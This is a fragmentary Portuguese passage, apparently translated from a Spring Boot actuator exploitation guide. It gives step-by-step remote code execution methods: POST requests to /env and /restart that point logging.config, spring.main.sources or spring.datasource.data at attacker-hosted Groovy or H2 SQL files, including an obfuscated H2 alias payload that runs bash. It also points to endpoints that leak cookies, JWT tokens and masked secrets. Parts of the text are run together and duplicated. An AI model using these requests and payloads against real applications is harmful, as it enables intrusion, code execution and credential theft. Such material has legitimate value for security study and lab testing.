spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
ch.qos.logback.classic.util.ContextInitializer.java do componente logback-classic, a lógica verifica se a URL termina com groovy.groovy, o código Groovy no conteúdo do arquivo será executado, resultando em uma vulnerabilidade de RCE.repository/springboot-restart-rce
Acesso normal:``` http://127.0.0.1:9098/actuator/env
### 0x0B: restart spring.main.sources groovy RCE
#### Condições de exploração:
- Pode fazer uma requisição POST para o endpoint `/env` do site alvo para definir propriedades
- Pode fazer uma requisição POST para o endpoint `/restart` do site alvo para reiniciar a aplicação
- ⚠️ O alvo deve poder fazer requisições ao servidor HTTP do atacante (as requisições devem sair para a rede externa), caso contrário, o restart fará com que o programa saia com erro
- ⚠️ Se o servidor HTTP retornar um arquivo com sintaxe groovy malformada, o programa sairá com erro
- ⚠️ É necessário que a dependência groovy exista no ambiente, caso contrário o programa sairá com erro
#### Método de exploração:
##### Passo 1: Hospedar o arquivo groovy
Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, utilizando de preferência portas comuns de serviços HTTP (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Coloque um arquivo example.groovy com a extensão .groovy no diretório raiz, cujo conteúdo é o código Groovy a ser executado, por exemplo:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### Passo 2: Definir a propriedade spring.main.sources
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### Etapa três: Reiniciar aplicação
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Princípio da vulnerabilidade:
1. A máquina alvo pode utilizar a propriedade spring.main.sources para definir o URL de fontes adicionais para criar o ApplicationContext.
2. Após reiniciar a aplicação (restart), o programa solicita o URL definido.
3. Na lógica do código do arquivo `org.springframework.boot.BeanDefinitionLoader.java` no componente `spring-boot`, é verificado se o URL termina com `.groovy`.
4. Se o URL terminar com `.groovy`, então o código Groovy no conteúdo do arquivo será executado, resultando em uma vulnerabilidade RCE.
#### Ambiente da vulnerabilidade:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Acesso normal:```
http://127.0.0.1:9098/actuator/env
/env do site alvo para definir propriedades/restart do site alvo para reiniciar a aplicaçãoh2database e spring-boot-starter-data-jpaEm uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviços HTTP (80, 443) sempre que possível.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Coloque um arquivo com qualquer nome no diretório raiz, cujo conteúdo seja o código h2 SQL a ser executado, por exemplo:
> ⚠️ O método 'T5' no payload abaixo só pode ser executado uma vez por restart; nas próximas reinicializações, é necessário alterar o nome do método (por exemplo, T6) e definir um novo endereço de URL SQL, para que possa ser reutilizado pelo restart; caso contrário, na segunda reinicialização, ao reiniciar a aplicação, ocorrerá uma saída anormal do programa.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.dataorg.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java no componente spring-boot-autoconfigure, o método runScripts é usado para executar o código SQL do banco de dados h2 presente no conteúdo da URL solicitada, causando uma vulnerabilidade RCErepository/springboot-restart-rce
Acesso normal:``` http://127.0.0.1:9098/actuator/env
| spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Versão Principal do Spring Cloud | Versão do Spring Boot |
|---|
| Angel | Compatível com Spring Boot 1.2.x |
| Brixton | Compatível com Spring Boot 1.3.x, 1.4.x |
| Camden | Compatível com Spring Boot 1.4.x, 1.5.x |
| Dalston | Compatível com Spring Boot 1.5.x, não compatível com 2.0.x |
| Edgware | Compatível com Spring Boot 1.5.x, não compatível com 2.0.x |
| Finchley | Compatível com Spring Boot 2.0.x, não compatível com 1.5.x |
| Greenwich | Compatível com Spring Boot 2.1.x |
| Hoxton | Compatível com Spring Boot 2.2.x |
| MX |
| Versão marco |
| RCX | Versão candidata a lançamento |
| RELEASE | Versão de lançamento oficial |
| SRX | Versão de lançamento oficial (correção de erros e bugs e relançamento) |
/restart/jolokia、/actuator/jolokia
Através do endpoint /jolokia/list é possível encontrar MBeans que podem ser utilizados, desencadeando indiretamente vulnerabilidades RCE relacionadas ou obtendo o texto claro de informações privadas importantes ocultas com asteriscos.
/trace、/actuator/httptrace
Alguns pacotes de requisição HTTP contêm informações de rastreamento de acesso, onde é possível encontrar detalhes de requisições de sistemas de aplicação na rede interna; bem como cookies de utilizadores válidos ou administradores, tokens JWT, etc.